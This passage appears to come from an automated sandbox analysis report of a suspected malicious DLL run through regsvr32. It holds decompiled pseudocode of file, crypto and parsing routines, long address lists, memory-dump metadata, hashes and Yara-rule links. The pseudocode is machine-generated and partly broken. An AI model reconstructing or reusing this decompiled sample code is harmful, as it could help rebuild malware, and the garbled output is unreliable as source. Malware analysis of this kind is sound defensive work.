				r12d =  *(_t342 + _t379 * 4);
				if (r12d != 0) goto 0x80029770;
				if (r9d != 0) goto 0x8002982f;
				 *(_t360 + 0x44 + _t379 * 4) =  *(_t360 + 0x44 + _t379 * 4) & r12d;
				_t96 = _t379 + 1; // 0x1
				_t193 = _t96;
				 *(_t360 + 0x40) = _t193;
				goto 0x8002982f;
				r8d = r9d;
				if (r10d == 0) goto 0x80029820;
				r11d = r9d;
				r11d =  ~r11d;
				if (r8d == 0x73) goto 0x800297da;
				if (r8d != _t193) goto 0x800297a2;
				 *(_t360 + 0x44 + _t354 * 4) =  *(_t360 + 0x44 + _t354 * 4) & 0x00000000;
				_t104 = _t373 + 1; // 0x1
				 *(_t360 + 0x40) = _t104;
				r8d = r8d + 1;
				_t307 =  *(_t360 + 0x30);
				_t345 = _t342 * _t384 + _t307 + _t307;
				 *(_t360 + 0x44 + _t354 * 4) =  *(_t307 + _t326 * 4);
				if (__rdi + _t373 != r10d) goto 0x80029784;
				if (0 == 0) goto 0x8002981b;
				if (r8d == 0x73) goto 0x80029593;
				_t117 = _t373 + 1; // 0x1
				_t225 = _t117;
				r8d = _t225;
				if (r8d !=  *(_t360 + 0x40)) goto 0x80029800;
				 *(_t360 + 0x44 + _t345 * 4) =  *(_t360 + 0x44 + _t345 * 4) & 0x00000000;
				 *(_t360 + 0x40) = _t225;
				 *(_t360 + 0x44 + _t345 * 4) = 0;
				_t201 =  *(_t360 + 0x40);
				if (0 != 0) goto 0x800297de;
				r11d =  *(_t360 + 0x20);
				if (r8d == 0x73) goto 0x80029593;
				r9d = r9d + 1;
				if (r9d != r11d) goto 0x8002974c;
				r12d =  *(_t360 + 0x24);
				r8d = _t201;
				_t374 = _t373 << 2;
				 *__r8 = _t201;
				if (_t374 == 0) goto 0x80029894;
				if (_t310 != 0) goto 0x80029861;
				E0000000118005B354(_t310, _t307);
				 *_t307 = 0x16;
				goto 0x8002988f;
				_t296 = _t374 - _t307;
				if (_t296 > 0) goto 0x8002987a;
				E00000001180015E10();
				goto 0x80029894;
				E000000011800164C0(0x1cc, 0, _t310, _t360 + 0x44, _t307);
				E0000000118005B354(_t296, _t307);
				 *_t307 = 0x22;
				E0000000118002594C();
				r12d = r12d -  *((intOrPtr*)(_t360 + 0x28));
				 *(_t360 + 0x24) = r12d;
				if (_t296 != 0) goto 0x800294f7;
				r13d = r13d - _t307 + _t307 * 4 + _t307 + _t307 * 4;
				if (_t296 == 0) goto 0x80029597;
				_t211 =  *(0x180000000 + 0xc41c8 + _t307 * 4);
				if (_t211 == 0) goto 0x80029593;
				if (_t211 == 1) goto 0x80029597;
				r10d =  *__r8;
				if (r10d == 0) goto 0x80029597;
				r8d = 0;
				r11d = _t211;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r10d) goto 0x800298f3;
				if (r8d == 0) goto 0x80029597;
				if ( *__r8 - 0x73 >= 0) goto 0x80029593;
				 *(__r8 + 4 + _t307 * 4) = r8d;
				 *__r8 =  *__r8 + 1;
				goto 0x80029597;
				 *__r8 =  *__r8 & 0x00000000;
				return E000000011800149A0( *__r8,  *((intOrPtr*)(__r8 + 4 + _t379 * 4)),  *(_t357 + 0x2e0) ^ _t360);
			}

































                                                                                                        0x1800293b3
                                                                                                        0x1800293b9
                                                                                                        0x1800293bc
                                                                                                        0x1800293c0
                                                                                                        0x1800293c4
                                                                                                        0x1800293c9
                                                                                                        0x1800293d1
                                                                                                        0x1800293d8
                                                                                                        0x1800293df
                                                                                                        0x1800293e6
                                                                                                        0x1800293e9
                                                                                                        0x1800293f0
                                                                                                        0x1800293f6
                                                                                                        0x180029400
                                                                                                        0x180029406
                                                                                                        0x18002940c
                                                                                                        0x18002940e
                                                                                                        0x180029411
                                                                                                        0x180029423
                                                                                                        0x180029429
                                                                                                        0x180029432
                                                                                                        0x180029438
                                                                                                        0x18002943d
                                                                                                        0x180029443
                                                                                                        0x180029448
                                                                                                        0x18002944d
                                                                                                        0x180029450
                                                                                                        0x180029452
                                                                                                        0x180029459
                                                                                                        0x18002945e
                                                                                                        0x180029463
                                                                                                        0x18002946d
                                                                                                        0x180029478
                                                                                                        0x18002947b
                                                                                                        0x180029488
                                                                                                        0x18002948c
                                                                                                        0x180029491
                                                                                                        0x180029493
                                                                                                        0x180029498
                                                                                                        0x18002949b
                                                                                                        0x18002949d
                                                                                                        0x1800294a1
                                                                                                        0x1800294a4
                                                                                                        0x1800294af
                                                                                                        0x1800294b2
                                                                                                        0x1800294b5
                                                                                                        0x1800294bc
                                                                                                        0x1800294c5
                                                                                                        0x1800294dc
                                                                                                        0x1800294df
                                                                                                        0x1800294e3
                                                                                                        0x1800294e6
                                                                                                        0x1800294ec
                                                                                                        0x1800294fd
                                                                                                        0x180029500
                                                                                                        0x18002952f
                                                                                                        0x180029535
                                                                                                        0x180029541
                                                                                                        0x180029565
                                                                                                        0x18002956a
                                                                                                        0x180029575
                                                                                                        0x180029583
                                                                                                        0x180029585
                                                                                                        0x18002958d
                                                                                                        0x180029593
                                                                                                        0x18002959a
                                                                                                        0x1800295a3
                                                                                                        0x1800295a8
                                                                                                        0x1800295af
                                                                                                        0x1800295b5
                                                                                                        0x1800295ba
                                                                                                        0x1800295bd
                                                                                                        0x1800295c4
                                                                                                        0x1800295ca
                                                                                                        0x1800295ce
                                                                                                        0x1800295d7
                                                                                                        0x1800295dd
                                                                                                        0x1800295e2
                                                                                                        0x1800295e5
                                                                                                        0x1800295ed
                                                                                                        0x1800295ef
                                                                                                        0x1800295f5
                                                                                                        0x1800295f7
                                                                                                        0x1800295fd
                                                                                                        0x18002961b
                                                                                                        0x180029621
                                                                                                        0x180029623
                                                                                                        0x18002962c
                                                                                                        0x180029630
                                                                                                        0x180029636
                                                                                                        0x18002963b
                                                                                                        0x18002963f
                                                                                                        0x180029645
                                                                                                        0x18002964a
                                                                                                        0x18002964c
                                                                                                        0x180029651
                                                                                                        0x180029657
                                                                                                        0x18002965e
                                                                                                        0x180029664
                                                                                                        0x18002966d
                                                                                                        0x180029672
                                                                                                        0x180029679
                                                                                                        0x18002967e
                                                                                                        0x180029683
                                                                                                        0x180029689
                                                                                                        0x180029690
                                                                                                        0x180029699
                                                                                                        0x18002969f
                                                                                                        0x1800296a5
                                                                                                        0x1800296ab
                                                                                                        0x1800296b1
                                                                                                        0x1800296c9
                                                                                                        0x1800296cd
                                                                                                        0x1800296d3
                                                                                                        0x1800296d8
                                                                                                        0x1800296e2
                                                                                                        0x1800296e7
                                                                                                        0x1800296ec
                                                                                                        0x1800296ef
                                                                                                        0x1800296f4
                                                                                                        0x1800296fa
                                                                                                        0x180029709
                                                                                                        0x180029713
                                                                                                        0x180029717
                                                                                                        0x18002971e
                                                                                                        0x180029726
                                                                                                        0x18002972b
                                                                                                        0x180029731
                                                                                                        0x180029736
                                                                                                        0x18002973c
                                                                                                        0x18002973f
                                                                                                        0x180029746
                                                                                                        0x18002974c
                                                                                                        0x180029753
                                                                                                        0x180029758
                                                                                                        0x18002975e
                                                                                                        0x180029763
                                                                                                        0x180029763
                                                                                                        0x180029767
                                                                                                        0x18002976b
                                                                                                        0x180029772
                                                                                                        0x180029778
                                                                                                        0x18002977e
                                                                                                        0x180029781
                                                                                                        0x180029788
                                                                                                        0x180029793
                                                                                                        0x180029795
                                                                                                        0x18002979a
                                                                                                        0x18002979e
                                                                                                        0x1800297a5
                                                                                                        0x1800297aa
                                                                                                        0x1800297bf
                                                                                                        0x1800297c9
                                                                                                        0x1800297d8
                                                                                                        0x1800297dc
                                                                                                        0x1800297e2
                                                                                                        0x1800297e8
                                                                                                        0x1800297e8
                                                                                                        0x1800297f2
                                                                                                        0x1800297f5
                                                                                                        0x1800297f7
                                                                                                        0x1800297fc
                                                                                                        0x180029809
                                                                                                        0x18002980d
                                                                                                        0x180029819
                                                                                                        0x18002981b
                                                                                                        0x180029824
                                                                                                        0x18002982f
                                                                                                        0x180029835
                                                                                                        0x18002983b
                                                                                                        0x180029840
                                                                                                        0x180029843
                                                                                                        0x180029847
                                                                                                        0x18002984d
                                                                                                        0x180029852
                                                                                                        0x180029854
                                                                                                        0x180029859
                                                                                                        0x18002985f
                                                                                                        0x180029869
                                                                                                        0x18002986c
                                                                                                        0x180029873
                                                                                                        0x180029878
                                                                                                        0x18002987f
                                                                                                        0x180029884
                                                                                                        0x180029889
                                                                                                        0x18002988f
                                                                                                        0x180029894
                                                                                                        0x1800298a0
                                                                                                        0x1800298aa
                                                                                                        0x1800298b9
                                                                                                        0x1800298bc
                                                                                                        0x1800298c6
                                                                                                        0x1800298cf
                                                                                                        0x1800298d8
                                                                                                        0x1800298de
                                                                                                        0x1800298e4
                                                                                                        0x1800298ea
                                                                                                        0x1800298ed
                                                                                                        0x1800298f0
                                                                                                        0x18002990e
                                                                                                        0x180029914
                                                                                                        0x180029919
                                                                                                        0x180029923
                                                                                                        0x18002992c
                                                                                                        0x180029931
                                                                                                        0x180029934
                                                                                                        0x180029939
                                                                                                        0x18002996c

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 95925bb4a5027fd726a112ae58de44bee03fffb156a055056e10ae9215823caa
                                                                                                        • Instruction ID: 06dd4e95879e26ef1cc8026904a15f9af0cf03f7d34e21018405fa93a5d03c36
                                                                                                        • Opcode Fuzzy Hash: 95925bb4a5027fd726a112ae58de44bee03fffb156a055056e10ae9215823caa
                                                                                                        • Instruction Fuzzy Hash: BFF1C1726166588BEBABCF99D158BE937A0F74C7C4F059025FA0683784DF35CA49CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000A9F4 Relevance: 3.2, APIs: 2, Instructions: 247COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118000A9F4(void* __ecx, void* __ebp, void* __eflags, long long __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r10, long long _a8, char _a16, char _a24, signed int _a32) {
				long long _v72;
				signed int _v80;
				long long _v88;
				signed int _v96;
				signed int _v104;
				signed int _v112;
				signed int _v120;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t108;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t113;
				long long _t147;
				intOrPtr _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t152;
				void* _t161;
				void* _t165;
				intOrPtr _t168;
				intOrPtr _t174;
				intOrPtr _t176;
				signed int _t188;
				long long* _t192;
				intOrPtr _t211;
				void* _t215;
				intOrPtr _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				void* _t219;
				void* _t223;
				intOrPtr _t226;
				signed int _t234;
				void* _t240;
				void* _t241;
				signed int _t242;
				intOrPtr _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				signed int _t252;

				_t239 = __r10;
				_t223 = __r8;
				_t147 = __rax;
				_t113 = __ebp;
				_t108 = __ecx;
				_a8 = __rbx;
				_t215 = __rdx;
				_t219 = __rcx;
				E00000001180005CCC();
				r9d = r9d | 0xffffffff;
				_v72 = _t147;
				r8d = __r9 + 3;
				E00000001180006A7C(_t108, _t147, __rbx, _t219, __rdx, __r10);
				_t216 =  *((intOrPtr*)(_t215 + 0x120));
				r12d = 0;
				if (_t216 == 0) goto 0x8000aa96;
				_t148 =  *((intOrPtr*)(_t216 + 8));
				goto 0x8000aa4a;
				_t174 = _t148;
				_t149 =  *((intOrPtr*)(_t148 + 8));
				if (_t149 != 0) goto 0x8000aa43;
				if ( *((intOrPtr*)(_t174 + 0x7c)) == 1) goto 0x8000aa83;
				if ( *((intOrPtr*)(_t174 + 0x80)) == 1) goto 0x8000aa83;
				_t245 =  *((intOrPtr*)(_t174 + 0x40));
				if (_t245 == 0) goto 0x8000aa83;
				r8d = 0;
				if (E0000000118000C1DC(_t149, _t174, _t174, _t215, _t223, _t245, __r10, _t240) == 0) goto 0x8000aa83;
				 *((intOrPtr*)(_t215 + 0x210)) =  *((intOrPtr*)(_t215 + 0x210)) + _t245;
				E0000000118000F3BC(_t174);
				if (_t149 != 0) goto 0x8000aa4f;
				if ( *((intOrPtr*)(_t215 + 0x210)) == _t241) goto 0x8000ada6;
				if (_t216 == 0) goto 0x8000ada6;
				_t150 =  *((intOrPtr*)(_t216 + 8));
				goto 0x8000aab9;
				_t217 = _t150;
				if ( *((intOrPtr*)(_t150 + 8)) != 0) goto 0x8000aab2;
				_t152 =  *((intOrPtr*)(_t215 + 8));
				if ( *_t152 != r12d) goto 0x8000ada6;
				_t176 = _t217;
				E0000000118000F3BC(_t217);
				_t218 = _t152;
				if ( *((intOrPtr*)(_t176 + 0x7c)) == 1) goto 0x8000ad7c;
				if ( *((intOrPtr*)(_t176 + 0x80)) == 1) goto 0x8000ad7c;
				_t246 =  *((intOrPtr*)(_t176 + 0x40));
				if (_t246 == 0) goto 0x8000ad7c;
				r8d = 0;
				if (E0000000118000C1DC(_t152, _t176, _t176, _t215, _t223, _t246, __r10, _t240) == 0) goto 0x8000ad7c;
				_v80 = r12d;
				_t185 =  !=  ? _t241 + 1 : _t241;
				_v88 =  &_a16;
				r9d = 0;
				_a32 =  !=  ? _t241 + 1 : _t241;
				_v96 =  &_a24;
				_v104 = r12d;
				_v112 = r12d;
				_v120 = _t246;
				if (E0000000118000B10C(_t108,  &_a24, _t176, _t219, _t215,  *((intOrPtr*)(_t215 + 0x148 + ( !=  ? _t241 + 1 : _t241) * 8)), _t246, _t240) != 0) goto 0x8000abd2;
				_v80 = r12d;
				_v88 =  &_a16;
				r9d = 0;
				r8d = 0;
				_v96 =  &_a24;
				_v104 = r12d;
				_v112 = r12d;
				_v120 =  *((intOrPtr*)(_t176 + 0x40));
				if (E0000000118000B10C(_t108,  *((intOrPtr*)(_t176 + 0x40)), _t176, _t219, _t215,  *((intOrPtr*)(_t215 + 0x148 + ( !=  ? _t241 + 1 : _t241) * 8)), _t246, _t240) == 0) goto 0x8000ad86;
				_t242 = _a24;
				_t188 =  *((intOrPtr*)(_t176 + 0x40));
				_t161 = _a16 - _t242;
				if (_t161 - _t188 < 0) goto 0x8000ac17;
				_v104 = _v104 & 0x00000000;
				_t234 = _t242;
				_v112 = _t188;
				_v120 = _v120 & 0x00000000;
				E0000000118000CB04(_t108, _t111, _t112, _t113, _t176, _t219, _t215, _t219, _t176, _t234);
				r12d = 0;
				goto 0x8000ad7c;
				E0000000118000CFB4(_t161 - _t188, _t176, _t219, _t215, _t219, _t176);
				if (_t161 != 0) goto 0x8000ac51;
				r12d = 0;
				 *((intOrPtr*)(_t176 + 0x7c)) = 1;
				_v112 = r12d;
				r9d = 0;
				_t226 = _t176;
				_v120 = _t242;
				E00000001180006F30(_t161, _t176, _t219, _t215, _t218, _t226, _t234, _t239);
				goto 0x8000ad7c;
				r14d = 0;
				_t192 =  *((intOrPtr*)(_t176 + 0x60));
				_t252 =  <=  ? _a16 - _t242 :  *((intOrPtr*)(_t217 + 0x40)) - _t246;
				r8d = 0;
				r9d = 0;
				goto 0x8000acb3;
				if ( *_t192 == 0xffffffff) goto 0x8000acab;
				if (_t234 - _t246 < 0) goto 0x8000aca1;
				_t211 =  *((intOrPtr*)(_t192 + 8));
				_t165 = _t211 - _t226;
				if (_t252 - _t165 > 0) goto 0x8000acb8;
				_t247 = _t165 + _t234;
				 *((intOrPtr*)(_t215 + 0x218)) =  *((intOrPtr*)(_t215 + 0x218)) + _t211 - _t226;
				if ( *((intOrPtr*)(_t192 + 0x10)) != 0) goto 0x8000ac79;
				if (_t247 -  *((intOrPtr*)(_t176 + 0x40)) >= 0) goto 0x8000ad67;
				_v96 = _v96 & 0x00000000;
				_v104 = _t252;
				_v112 = _t247;
				_v120 = _t242;
				E0000000118000C8A0(_t108, _t109, _t111, _t112, _t113,  *((intOrPtr*)(_t192 + 8)) - _t226, _t176, _t219, _t215, _t176, _t161, _t239, _t240);
				_t168 =  *((intOrPtr*)(_t176 + 0x40));
				_t248 = _t247 + _t252;
				if (_t248 - _t168 >= 0) goto 0x8000ad51;
				r12d = 0;
				_v80 = r12d;
				_v88 =  &_a16;
				r9d = 0;
				_v96 =  &_a24;
				_v104 = r12d;
				_v112 = r12d;
				_v120 = _t168 - _t248;
				if (E0000000118000B10C(_t108, _a32, _t176, _t219, _t215,  *((intOrPtr*)(_t215 + 0x148 + _a32 * 8)), _t161, _t240) == 0) goto 0x8000ad6a;
				if (_t248 -  *((intOrPtr*)(_t176 + 0x40)) >= 0) goto 0x8000ad67;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t215 + 8)))) == 0) goto 0x8000ac58;
				r12d = 0;
				FlushFileBuffers(??);
				CloseHandle(??);
				if (_t218 == 0) goto 0x8000ada6;
				goto 0x8000aabe;
				return E00000001180004968(_t108, 2,  *((intOrPtr*)(_t215 + 8)), _v72, _t215, _t176,  *((intOrPtr*)( *((intOrPtr*)(_t215 + 0x240)) + 0x160)));
			}















































                                                                                                        0x18000a9f4
                                                                                                        0x18000a9f4
                                                                                                        0x18000a9f4
                                                                                                        0x18000a9f4
                                                                                                        0x18000a9f4
                                                                                                        0x18000a9f4
                                                                                                        0x18000aa08
                                                                                                        0x18000aa0b
                                                                                                        0x18000aa0e
                                                                                                        0x18000aa13
                                                                                                        0x18000aa17
                                                                                                        0x18000aa22
                                                                                                        0x18000aa26
                                                                                                        0x18000aa2b
                                                                                                        0x18000aa32
                                                                                                        0x18000aa3b
                                                                                                        0x18000aa3d
                                                                                                        0x18000aa41
                                                                                                        0x18000aa43
                                                                                                        0x18000aa46
                                                                                                        0x18000aa4d
                                                                                                        0x18000aa53
                                                                                                        0x18000aa5c
                                                                                                        0x18000aa5e
                                                                                                        0x18000aa65
                                                                                                        0x18000aa6a
                                                                                                        0x18000aa7a
                                                                                                        0x18000aa7c
                                                                                                        0x18000aa89
                                                                                                        0x18000aa94
                                                                                                        0x18000aa9d
                                                                                                        0x18000aaa6
                                                                                                        0x18000aaac
                                                                                                        0x18000aab0
                                                                                                        0x18000aab2
                                                                                                        0x18000aabc
                                                                                                        0x18000aabe
                                                                                                        0x18000aac8
                                                                                                        0x18000aad4
                                                                                                        0x18000aad7
                                                                                                        0x18000aae0
                                                                                                        0x18000aae3
                                                                                                        0x18000aaf0
                                                                                                        0x18000aaf6
                                                                                                        0x18000aafd
                                                                                                        0x18000ab06
                                                                                                        0x18000ab16
                                                                                                        0x18000ab26
                                                                                                        0x18000ab3b
                                                                                                        0x18000ab47
                                                                                                        0x18000ab4c
                                                                                                        0x18000ab57
                                                                                                        0x18000ab5f
                                                                                                        0x18000ab6f
                                                                                                        0x18000ab74
                                                                                                        0x18000ab79
                                                                                                        0x18000ab85
                                                                                                        0x18000ab87
                                                                                                        0x18000ab94
                                                                                                        0x18000ab99
                                                                                                        0x18000aba4
                                                                                                        0x18000aba7
                                                                                                        0x18000abb6
                                                                                                        0x18000abbb
                                                                                                        0x18000abc0
                                                                                                        0x18000abcc
                                                                                                        0x18000abdd
                                                                                                        0x18000abe8
                                                                                                        0x18000abec
                                                                                                        0x18000abf2
                                                                                                        0x18000abf4
                                                                                                        0x18000abf9
                                                                                                        0x18000abfc
                                                                                                        0x18000ac04
                                                                                                        0x18000ac0a
                                                                                                        0x18000ac0f
                                                                                                        0x18000ac12
                                                                                                        0x18000ac1a
                                                                                                        0x18000ac25
                                                                                                        0x18000ac27
                                                                                                        0x18000ac2a
                                                                                                        0x18000ac31
                                                                                                        0x18000ac36
                                                                                                        0x18000ac39
                                                                                                        0x18000ac3c
                                                                                                        0x18000ac47
                                                                                                        0x18000ac4c
                                                                                                        0x18000ac55
                                                                                                        0x18000ac63
                                                                                                        0x18000ac6d
                                                                                                        0x18000ac71
                                                                                                        0x18000ac74
                                                                                                        0x18000ac77
                                                                                                        0x18000ac7d
                                                                                                        0x18000ac82
                                                                                                        0x18000ac84
                                                                                                        0x18000ac8b
                                                                                                        0x18000ac91
                                                                                                        0x18000ac96
                                                                                                        0x18000ac9a
                                                                                                        0x18000acb6
                                                                                                        0x18000acbc
                                                                                                        0x18000acc2
                                                                                                        0x18000acca
                                                                                                        0x18000acd2
                                                                                                        0x18000acdd
                                                                                                        0x18000ace2
                                                                                                        0x18000ace7
                                                                                                        0x18000aceb
                                                                                                        0x18000acf1
                                                                                                        0x18000acf3
                                                                                                        0x18000acfe
                                                                                                        0x18000ad06
                                                                                                        0x18000ad0b
                                                                                                        0x18000ad19
                                                                                                        0x18000ad21
                                                                                                        0x18000ad26
                                                                                                        0x18000ad2b
                                                                                                        0x18000ad47
                                                                                                        0x18000ad58
                                                                                                        0x18000ad61
                                                                                                        0x18000ad67
                                                                                                        0x18000ad6d
                                                                                                        0x18000ad76
                                                                                                        0x18000ad7f
                                                                                                        0x18000ad81
                                                                                                        0x18000adbd

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: BuffersCloseControlDeviceFileFlushHandle
                                                                                                        • String ID:
                                                                                                        • API String ID: 2471685102-0
                                                                                                        • Opcode ID: c9d7b8bf8fb752c35df76291b6cd8572b8ef4e1e6d1932894b2b1de7b3a9c0d2
                                                                                                        • Instruction ID: 123a40038339c00f367550b088d113a589bc4b27fdb354b2381c188f8791e123
                                                                                                        • Opcode Fuzzy Hash: c9d7b8bf8fb752c35df76291b6cd8572b8ef4e1e6d1932894b2b1de7b3a9c0d2
                                                                                                        • Instruction Fuzzy Hash: 6CA1A03231978886EAA5CF16E5447DA77A0F74EBD4F148125EE8D07B98DF38C659CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024190BC Relevance: 3.2, Strings: 2, Instructions: 663COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ;'8V$zHQ&
                                                                                                        • API String ID: 0-3345145245
                                                                                                        • Opcode ID: d745dd294c4b6dd3e852930bb0be09a71e33bedff530b753887042c756e191d3
                                                                                                        • Instruction ID: ac40b83ebe3294f16198ebc8e20ed493d37857d34a5ba7e87ebe5e74df6d756b
                                                                                                        • Opcode Fuzzy Hash: d745dd294c4b6dd3e852930bb0be09a71e33bedff530b753887042c756e191d3
                                                                                                        • Instruction Fuzzy Hash: AF7200B150470DCFEB68CF28C48A59A3BE9FB54308F50912EFC5E8A2A1D778E515CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800017A0 Relevance: 3.1, APIs: 2, Instructions: 54encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: BinaryCryptString
                                                                                                        • String ID:
                                                                                                        • API String ID: 80407269-0
                                                                                                        • Opcode ID: 19fd6ed17dbcb5dd4b8551ae3949dc9c02f6e364cf7731c7eb89e06f1f701af0
                                                                                                        • Instruction ID: 8e66680e46b4354c66bcc761adfbbfeeb84110f871e144879ced7b1404705383
                                                                                                        • Opcode Fuzzy Hash: 19fd6ed17dbcb5dd4b8551ae3949dc9c02f6e364cf7731c7eb89e06f1f701af0
                                                                                                        • Instruction Fuzzy Hash: 2B116432A14B8886E791CF12E8447AA77A4F788FC4F08C129AE4947B54DF39CA4AC700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000D0E0 Relevance: 2.9, Strings: 2, Instructions: 406COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 89%
                                                                                                        			E0000000118000D0E0(void* __ecx, void* __ebp, long long __rax, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r9, void* __r10, void* __r11) {
				void* __rbp;
				void* _t143;
				void* _t145;
				signed int _t156;
				void* _t157;
				void* _t170;
				void* _t178;
				void* _t193;
				void* _t195;
				void* _t200;
				void* _t201;
				void* _t202;
				void* _t203;
				void* _t221;
				void* _t223;
				void* _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				void* _t248;
				long long _t254;
				signed int _t258;
				long long* _t268;
				intOrPtr* _t270;
				intOrPtr* _t271;
				long long* _t280;
				intOrPtr* _t282;
				intOrPtr* _t283;
				long long* _t284;
				signed long long _t293;
				intOrPtr* _t296;
				long long _t298;
				intOrPtr _t299;
				signed int _t300;
				signed long long _t305;
				long long _t323;
				intOrPtr _t325;
				intOrPtr _t338;
				intOrPtr _t340;
				void* _t349;
				signed int _t350;
				void* _t353;
				signed int _t354;
				void* _t357;
				void* _t359;
				void* _t360;
				void* _t362;
				signed int _t363;
				signed int _t365;
				long long _t366;
				void* _t374;
				void* _t375;
				void* _t377;
				intOrPtr _t378;
				signed long long _t385;
				long long _t388;
				intOrPtr _t391;
				long long _t392;

				_t374 = __r11;
				_t362 = __r8;
				_t254 = __rax;
				_t170 = __ebp;
				_t157 = __ecx;
				 *((long long*)(_t359 + 0x18)) = __rbx;
				 *((long long*)(_t359 + 8)) = __rcx;
				_push(_t353);
				_t360 = _t359 - 0x60;
				r12d = r8d;
				_t357 = __rdx;
				_t298 = __rcx;
				E00000001180005CCC();
				r8d = 0;
				 *((long long*)(_t360 + 0x50)) = _t254;
				if ( *((intOrPtr*)(__rdx + 0x120)) == __r8) goto 0x8000d6cb;
				 *(__rdx + 4) = r8d;
				 *(_t360 + 0x58) = ( *((intOrPtr*)(__rdx + 0x198)) - __rdx >> 1) + __rdx >> 7;
				r9d = r8d;
				r8d = 4;
				E00000001180006A7C(_t157, 0xe147ae15, _t298, _t298, __rdx, __r10);
				r14d = 0;
				 *(_t360 + 0xb8) =  *(_t360 + 0xb8) & _t385;
				r15d = 0;
				 *((long long*)(_t360 + 0xa8)) = _t388;
				_t378 =  *((intOrPtr*)(_t357 + 0x148 +  *(_t357 + 4) * 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t357 + 8)))) != r14d) goto 0x8000d6ba;
				_t299 =  *((intOrPtr*)(_t357 + 0x120));
				if (_t299 == 0) goto 0x8000d691;
				_t258 =  *((intOrPtr*)(_t299 + 8));
				goto 0x8000d1ad;
				_t300 = _t258;
				if ( *((intOrPtr*)(_t258 + 8)) != 0) goto 0x8000d1a6;
				if ( *((intOrPtr*)(_t300 + 0x7c)) == 1) goto 0x8000d46e;
				if ( *((intOrPtr*)(_t300 + 0x80)) == 1) goto 0x8000d46e;
				if ( *((long long*)(_t300 + 0x40)) == 0) goto 0x8000d46e;
				_t178 =  *((intOrPtr*)(_t300 + 0x84)) - 1;
				_t141 =  !=  ? (_t178 == 0) + 1 : 0;
				_t180 = ( !=  ? (_t178 == 0) + 1 : 0) -  *(_t357 + 4);
				if (( !=  ? (_t178 == 0) + 1 : 0) !=  *(_t357 + 4)) goto 0x8000d46e;
				if (_t385 == 0) goto 0x8000d33d;
				if (_t385 == _t300) goto 0x8000d46e;
				if (r12d != 0) goto 0x8000d268;
				_t338 =  *((intOrPtr*)(_t300 + 0x20));
				if ( *((intOrPtr*)(_t385 + 0x20)) != 0) goto 0x8000d22e;
				if (_t338 != 0) goto 0x8000d33d;
				goto 0x8000d46e;
